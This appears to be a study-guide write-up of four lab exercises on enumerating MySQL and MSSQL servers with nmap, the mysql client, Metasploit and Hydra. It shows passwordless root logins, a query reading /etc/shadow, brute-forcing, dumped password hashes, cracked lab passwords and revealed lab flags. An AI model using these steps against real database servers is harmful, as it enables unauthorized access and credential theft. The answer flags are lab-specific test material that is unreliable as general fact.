githubEdit

🔬MYSQL Enum

MYSQL - an open-source relational database management system, used to add, access and process data stored in a server database using the SQL (Structured Query Language) syntax. It's also included in the LAMP technology stack (Linux, Apache, MySQL, PHP) to store and retrieve data in well-known applications, websites and services.

Default MYSQL port is 3306.

sudo nmap -p3306 -sV -O <TARGET_IP>

Lab 1

🔬 MySQL Recon: Basicsarrow-up-right

  • Target IP: 192.49.51.3

  • MySQL server reconnaisance.

ip -br -c a
	eth1@if176632   UP   192.49.51.2/24 
nmap 192.49.51.3
nmap -sV -p3306 192.49.51.3
	3306/tcp open  mysql   MySQL 5.5.62-0ubuntu0.14.04.1

📌 MySQL server version is 5.5.62

mysql - SQL shell with input line editing capabilities.

mysql -h 192.49.51.3 -u root
MySQL [(none)]> help
# Get a list of MySQL commands

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| books              |
| data               |
| mysql              |
| password           |
| performance_schema |
| secret             |
| store              |
| upload             |
| vendors            |
| videos             |
+--------------------+
11 rows in set (0.001 sec)

📌 There are 11 databases on the server.

📌 There are 10 records in table authors inside the books database.

mysql

Metasploit Enum

Metasploit - mysql_schemadump
Metasploit - mysql_writable_dirs

📌 2 directories are writable: /tmp and /root

Metasploit - mysql_file_enum

📌 10 sensitive files are readable: /etc/passwd, /etc/shadow, /etc/group, /etc/mysql/my.cn, /etc/hosts, /etc/hosts.allow, /etc/hosts.deny, /etc/issue, /etc/fstab, /proc/version

Metasploit mysql_hashdump

📌 8 db users are present:

debian-sys-maint:*CDDA79A15EF590ED57BB5933ECD27364809EE90D

root:

filetest:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

ultra:*827EC562775DC9CE458689D36687DCED320F34B0

guest:*17FD2DDCC01E0E66405FB1BA16F033188D18F646

sigver:*027ADC92DD1A83351C64ABCD8BD4BA16EEDA0AB0

udadmin:*E6DEAD2645D88071D28F004A209691AC60A72AC9

sysadmin:*46CFC7938B60837F46B610A2D10C248874555C14

chevron-rightReveal Flag - System password hash for user “root” is: 🚩hashtag

S1eBFuRRxwD7qEcUIjHxV7Rkj9OXaIGbIOiHsjPZF2uGmGBjRQ3rrQY3/6M.fWHRBHRntsKhgqnClY2.KC.vA/

select load_file("/etc/shadow");

Nmap Enum

nmap mysql-empty-password

📌 root and anonymous users login is permitted without password.

nmap mysql-info

📌 InteractiveClient is supported on the server.

nmap mysql-users

📌 DB users are: filetest, root, debian-sys-maint, guest, sigver, sysadmin, udadmin, ultra

nmap mysql-databases

📌 MySQL databases are information_schema, books, data, mysql, password, performance_schema, secret, store, upload, vendors, videos

nmap mysql-variables

📌 The data directory used by MySQL server is datadir: var/lib/mysql/

nmap mysql-audit

📌 No File privileges can be granted to non admin users.

nmap mysql-dump-hashes

📌 Users hashes are:

debian-sys-maint:*CDDA79A15EF590ED57BB5933ECD27364809EE90D

filetest:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

ultra:*827EC562775DC9CE458689D36687DCED320F34B0

guest:*17FD2DDCC01E0E66405FB1BA16F033188D18F646

sigver:*027ADC92DD1A83351C64ABCD8BD4BA16EEDA0AB0

udadmin:*E6DEAD2645D88071D28F004A209691AC60A72AC9

sysadmin:*46CFC7938B60837F46B610A2D10C248874555C14

nmap mysql-query

Lab 2

🔬 MySQL Recon: Dictionary Attackarrow-up-right

  • Target IP: 10.4.16.17

  • MySQL server dictionary attack.

Metasploit

Hydra

  • Use hydra tool with the same metasploit unix_passwords list to bruteforce root login.

chevron-rightReveal Flag - MySQL server "root" password is: 🚩hashtag

catalina

Metasploit - mysql_login

Lab 3 - nmap

🔬 Recon: MSSQL: Nmap Scriptsarrow-up-right

  • Target IP: 10.4.21.27

  • Windows MSSQL server enumeration with nmap

nmap scan
  • Sending a MS-TDS NTLM authentication request with an invalid domain and null credentials will cause the remote service to respond with a NTLMSSP message disclosing information to include NetBIOS, DNS, and OS build version.

  • For above default scripts, nmap --script command option can also be used:

📌 Server is Microsoft SQL Server 2019

  • Enumerate MSSQL users and password.

nmap ms-sql-brute

📌 Valid MSSQL users and passwords are:

dbadmin:bubbles1

admin:anamaria

auditor:jasmine1

  • Check empty password users.

📌 sa user is enabled with empty password.

  • Extract sysusers from MSSQL and store the output in a file

nmap ms-sql-query
  • Dump MSSQL users hashes

nmap ms-sql-dump-hashes

📌 MSSQL users hashes are:

sa:0x020011dbfaf35ba0d5e61a769e3604230fde23e5d3e01e7ff0ba3875cf75554803e2f1e1977b78de8f4489c95df9be979c02f1dec551300c109c408c427934815755b600c7e0

##MS_PolicyEventProcessingLogin##:0x0200191cf079f310fb475527ac320aba7a4e8d5c3567bef2462b96ce8a8629b7f986ed344aa0963ac3a096da77056dad77a457644431282e2aa2c2243bc635abc6bb5f52552c

##MS_PolicyTsqlExecutionLogin##:0x0200677385acfe08bb1119246cf20f9d17c3a0d86bbb1d48874725f2c2e0e021260b885d0ba067427e09afad9079e6759ad6497ee7f1ef3cd497d500585d7727eeba64426083

admin:0x02003814edd67dcab815b733d877a0fe7ec3470185864bd673c7273ba76c31e000c15e9fae25a826f6ba03892e37d6a1acae17f171d21dad7b20d874ccc259bbf9fa2230b9c0

Mssql:0x02001786154bb350ac708b5a4c3fc6b90dc68418a13ba5fcb76b155f8eee14d72988edb559d9a2d0d6fd5dd25b1fab8431c0ca424d747a5743624c30aa772b40c8f23c66e6a4

Mssqla:0x0200987f06858112a7fa0c70fe3f53c64061b35ae864782fc9cfcda3954ed60ca7e47e8497a571d177edb596f125cb529d7b2753e4d8e913c2b127a12207e3bcb75f70e29cb5

auditor:0x020061cbe8509dfea47fbc20be854c4ac517bf6aa67f9f7c12d7d1efb1f500be279643c6cd19d370f9eff4f2d9b981a16f6916bc4534e8ba42d718f8b908fbfffb40d5cc1a5e

dbadmin:0x02000d6c6a0d55f536f9dbff2d8cc1e0965c550e1a1a1e7c6df8b7e6534ab817408f86dd9592b206862c4b7a3d1f6ca85f439360171d7c5143d6fba8606675dbaf5bea40d15b

nmap ms-sql-xp-cmdshell
chevron-rightReveal Flag: 🚩hashtag

1d1803570245aa620446518b2154f324

Lab 4 - metasploit

🔬 Recon: MSSQL: Metasploitarrow-up-right

  • Target IP: 10.4.23.176

  • Windows MSSQL server enumeration with metasploit

📌 Server is Microsoft SQL Server 2019

  • User Metasploit to enumerate MSSQL configuration, logins, users and execute a command on the target machine.

Metasploit - mssql_login

📌 sa user has empty password.

chevron-rightReveal Flag - other users and passwords are: 🚩hashtag

dbadmin:anamaria

auditor:nikita

Metasploit - mssql_enum
Metasploit - mssql_enum_sql_logins
Metasploit - mssql_exec
Metasploit - mssql_enum_domain_accounts

Last updated